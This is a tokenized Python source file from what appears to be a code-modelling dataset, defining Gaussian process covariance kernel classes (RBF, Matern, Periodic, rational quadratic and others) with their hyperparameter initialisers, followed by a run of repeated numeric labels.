"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Piece", "Poly_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "log", "\\u", "ell_", "=_", "0._", ",_", "v_", "=_", "2_", ",_", "log", "\\u", "sigma_", "=_", "0._", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "[_", "log", "\\u", "ell_", ",_", "log", "\\u", "sigma_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "para_", "=_", "[_", "v_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "RB", "F_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Square", "d", " ", "Expo", "nent", "ial", " ", "kernel", " ", "with", " ", "isot", "rop", "ic", " ", "distance", " ", "measure", ".", " ", "hyp", " ", "=", " ", "[", "log", "\\u", "ell", ",", " ", "log", "\\u", "sigma", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "ell", ":", " ", "characteristic", " ", "length", " ", "scale", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "sigma", ":", " ", "signal", " ", "deviation", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "RB", "F_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "log", "\\u", "ell_", "=_", "0._", ",_", "log", "\\u", "sigma_", "=_", "0._", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "[_", "log", "\\u", "ell_", ",_", "log", "\\u", "sigma_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "RB", "Fun", "it_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Square", "d", " ", "Expo", "nent", "ial", " ", "kernel", " ", "with", " ", "isot", "rop", "ic", " ", "distance", " ", "measure", " ", "with", " ", "unit", " ", "magnitude", ".", "\\", "10", ";", " ", " ", " ", " ", "i", ".", "e", " ", "signal", " ", "varian", "ce", " ", "is", " ", "alw", "ay", "s", " ", "1", ".", " ", "hyp", " ", "=", " ", "[", " ", "log", "\\u", "ell", " ", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "ell", ":", " ", "characteristic", " ", "length", " ", "scale", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "RB", "Fun", "it_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "log", "\\u", "ell_", "=_", "0._", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "[_", "log", "\\u", "ell_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "RB", "Far", "d_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Square", "d", " ", "Expo", "nent", "ial", " ", "kernel", " ", "with", " ", "Automat", "ic", " ", "Rel", "eva", "nce", " ", "Det", "ermina", "tion", ".", "\\", "10", ";", " ", " ", " ", " ", "hyp", " ", "=", " ", "log", "\\u", "ell", "\\u", "list", " ", "+", " ", "[", "log", "\\u", "sigma", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "D", ":", " ", "dimension", " ", "of", " ", "pattern", ".", " ", "set", " ", "if", " ", "you", " ", "want", " ", "default", " ", "ell", ",", " ", "whi", "ch", " ", "is", " ", "1", " ", "for", " ", "each", " ", "dimension", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "ell", "\\u", "list", ":", " ", "characteristic", " ", "length", " ", "scale", " ", "for", " ", "each", " ", "dimension", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "sigma", ":", " ", "signal", " ", "deviation", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "RB", "Far", "d_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "D_", "=_", "None_", ",_", "log", "\\u", "ell", "\\u", "list_", "=_", "None_", ",_", "log", "\\u", "sigma_", "=_", "0._", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "log", "\\u", "ell", "\\u", "list_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "[_", "0._", "for_", "i_", "in_", "range_", "(_", "D_", ")_", "]_", "+_", "[_", "log", "\\u", "sigma_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "log", "\\u", "ell", "\\u", "list_", "+_", "[_", "log", "\\u", "sigma_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Const_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Const", "ant", " ", "kernel", ".", " ", "hyp", " ", "=", " ", "[", " ", "log", "\\u", "sigma", " ", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "sigma", ":", " ", "signal", " ", "deviation", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Const_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "log", "\\u", "sigma_", "=_", "0._", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "[_", "log", "\\u", "sigma_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Linear_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Linea", "r", " ", "kernel", ".", " ", "hyp", " ", "=", " ", "[", " ", "log", "\\u", "sigma", " ", "].", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "sigma", ":", " ", "signal", " ", "deviation", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Linear_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "log", "\\u", "sigma_", "=_", "0._", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "[_", "log", "\\u", "sigma_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "LIN", "ard_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Linea", "r", " ", "covariance", " ", "function", " ", "with", " ", "Automat", "ic", " ", "Rel", "eva", "nce", " ", "Det", "emi", "nati", "on", ".", "\\", "10", ";", " ", " ", " ", " ", "hyp", " ", "=", " ", "log", "\\u", "ell", "\\u", "list", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "D", ":", " ", "dimension", " ", "of", " ", "train", "ing", " ", "data", ".", " ", "Set", " ", "if", " ", "you", " ", "want", " ", "default", " ", "ell", ",", " ", "whi", "ch", " ", "is", " ", "1", " ", "for", " ", "each", " ", "dimension", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "ell", "\\u", "list", ":", " ", "characteristic", " ", "length", " ", "scale", " ", "for", " ", "each", " ", "dimension", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "LIN", "ard_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "D_", "=_", "None_", ",_", "log", "\\u", "ell", "\\u", "list_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "log", "\\u", "ell", "\\u", "list_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "[_", "0._", "for_", "i_", "in_", "range_", "(_", "D_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "log", "\\u", "ell", "\\u", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Mat", "ern", "_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Mat", "ern", " ", "covariance", " ", "function", " ", "with", " ", "nu", " ", "=", " ", "d", "/", "2", " ", "and", " ", "isot", "rop", "ic", " ", "distance", " ", "measure", ".", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "d", "=", "1", " ", "the", " ", "function", " ", "is", " ", "als", "o", " ", "know", "n", " ", "as", " ", "the", " ", "exponential", " ", "covariance", " ", "function", "\\", "10", ";", " ", " ", " ", " ", "or", " ", "the", " ", "Or", "nst", "ein", "-", "U", "hle", "nbe", "ck", " ", "covariance", " ", "in", " ", "1d", ".", "\\", "10", ";", " ", " ", " ", " ", "d", " ", "will", " ", "be", " ", "rounded", " ", "to", " ", "1", ",", " ", "3", ",", " ", "5", " ", "or", " ", "7", "\\", "10", ";", " ", " ", " ", " ", "hyp", " ", "=", " ", "[", " ", "log", "\\u", "ell", ",", " ", "log", "\\u", "sigma", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "d", ":", " ", "d", " ", "is", " ", "2", " ", "times", " ", "nu", ".", " ", "Can", " ", "only", " ", "be", " ", "1", ",", "3", ",", " ", "5", ",", " ", "or", " ", "7", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "ell", ":", " ", "characteristic", " ", "length", " ", "scale", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "sigma", ":", " ", "signal", " ", "deviation", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Mat", "ern", "_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "log", "\\u", "ell_", "=_", "0._", ",_", "d_", "=_", "3_", ",_", "log", "\\u", "sigma_", "=_", "0._", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "[_", "log", "\\u", "ell_", ",_", "log", "\\u", "sigma_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "para_", "=_", "[_", "d_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Period", "ic_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Station", "ary", " ", "kernel", " ", "for", " ", "a", " ", "smooth", " ", "periodic", " ", "function", ".", "\\", "10", ";", " ", " ", " ", " ", "hyp", " ", "=", " ", "[", " ", "log", "\\u", "ell", ",", " ", "log", "\\u", "p", ",", " ", "log", "\\u", "sigma", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "p", ":", " ", "period", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "ell", ":", " ", "characteristic", " ", "length", " ", "scale", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "sigma", ":", " ", "signal", " ", "deviation", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Period", "ic_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "log", "\\u", "ell_", "=_", "0._", ",_", "log", "\\u", "p_", "=_", "0._", ",_", "log", "\\u", "sigma_", "=_", "0._", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "[_", "log", "\\u", "ell_", ",_", "log", "\\u", "p_", ",_", "log", "\\u", "sigma_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Noise_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Inde", "pend", "ent", " ", "covariance", " ", "function", ",", " ", "i", ".", "e", " ", "\"", "white", " ", "noise", "\",", " ", "with", " ", "specified", " ", "varian", "ce", ".", "\\", "10", ";", " ", " ", " ", " ", "Normal", "ly", " ", "NOT", " ", "used", " ", "any", "more", " ", "sinc", "e", " ", "noise", " ", "is", " ", "now", " ", "adde", "d", " ", "in", " ", "lik", "li", "hood", ".", "\\", "10", ";", " ", " ", " ", " ", "hyp", " ", "=", " ", "[", " ", "log", "\\u", "sigma", " ", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "sigma", ":", " ", "signal", " ", "deviation", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Noise_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "log", "\\u", "sigma_", "=_", "0._", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "[_", "log", "\\u", "sigma_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "RQ", "_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Rational", " ", "Quadra", "tic", " ", "covariance", " ", "function", " ", "with", " ", "isot", "rop", "ic", " ", "distance", " ", "measure", ".", "\\", "10", ";", " ", " ", " ", " ", "hyp", " ", "=", " ", "[", " ", "log", "\\u", "ell", ",", " ", "log", "\\u", "sigma", ",", " ", "log", "\\u", "alpha", " ", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "ell", ":", " ", "characteristic", " ", "length", " ", "scale", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "sigma", ":", " ", "signal", " ", "deviation", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "alpha", ":", " ", "shape", " ", "parameter", " ", "for", " ", "the", " ", "RQ", " ", "covariance", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "RQ", "_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "log", "\\u", "ell_", "=_", "0._", ",_", "log", "\\u", "sigma_", "=_", "0._", ",_", "log", "\\u", "alpha_", "=_", "0._", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "[_", "log", "\\u", "ell_", ",_", "log", "\\u", "sigma_", ",_", "log", "\\u", "alpha_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "RQ", "ard_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Rational", " ", "Quadra", "tic", " ", "covariance", " ", "function", " ", "with", " ", "Automat", "ic", " ", "Rel", "eva", "nce", " ", "Det", "emi", "nati", "on", "\\", "10", ";", " ", " ", " ", " ", "(", "ARD", ")", " ", "distance", " ", "measure", ".", "\\", "10", ";", " ", " ", " ", " ", "hyp", " ", "=", " ", "log", "\\u", "ell", "\\u", "list", " ", "+", " ", "[", " ", "log", "\\u", "sigma", ",", " ", "log", "\\u", "alpha", " ", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "D", ":", " ", "dimension", " ", "of", " ", "pattern", ".", " ", "set", " ", "if", " ", "you", " ", "want", " ", "default", " ", "ell", ",", " ", "whi", "ch", " ", "is", " ", "0.", "5", " ", "for", " ", "each", " ", "dimension", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "ell", "\\u", "list", ":", " ", "characteristic", " ", "length", " ", "scale", " ", "for", " ", "each", " ", "dimension", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "sigma", ":", " ", "signal", " ", "deviation", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "log", "\\u", "alpha", ":", " ", "shape", " ", "parameter", " ", "for", " ", "the", " ", "RQ", " ", "covariance", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "RQ", "ard_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "D_", "=_", "None_", ",_", "log", "\\u", "ell", "\\u", "list_", "=_", "None_", ",_", "log", "\\u", "sigma_", "=_", "0._", ",_", "log", "\\u", "alpha_", "=_", "0._", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "log", "\\u", "ell", "\\u", "list_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "[_", "0._", "for_", "i_", "in_", "range_", "(_", "D_", ")_", "]_", "+_", "[_", "log", "\\u", "sigma_", ",_", "log", "\\u", "alpha_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hyp", "_", "=_", "log", "\\u", "ell", "\\u", "list_", "+_", "[_", "log", "\\u", "sigma_", ",_", "log", "\\u", "alpha_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Pre", "_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Prec", "omp", "ute", "d", " ", "kernel", " ", "matrix", ".", " ", "No", " ", "hyperparameters", " ", "and", " ", "thu", "s", " ", "not", "hing", " ", "will", " ", "be", " ", "optimis", "ed", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "M1", ":", " ", "cross", " ", "covariance", "s", " ", "matrix", "(", "train", "+", "1", " ", "by", " ", "test", ").", "\\", "10", ";", " ", " ", " ", "last", " ", "row", " ", "is", " ", "self", " ", "covariance", "s", " ", "(", "diagonal", " ", "of", " ", "test", " ", "by", " ", "test", ")", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "M2", ":", " ", "train", "ing", " ", "set", " ", "covariance", " ", "matrix", " ", "(", "train", " ", "by", " ", "train", ")", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Pre", "_", "(_", "Kernel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "M1_", ",_", "M2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "M1_", "=_", "M1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "M2_", "=_", "M2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "hyp", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 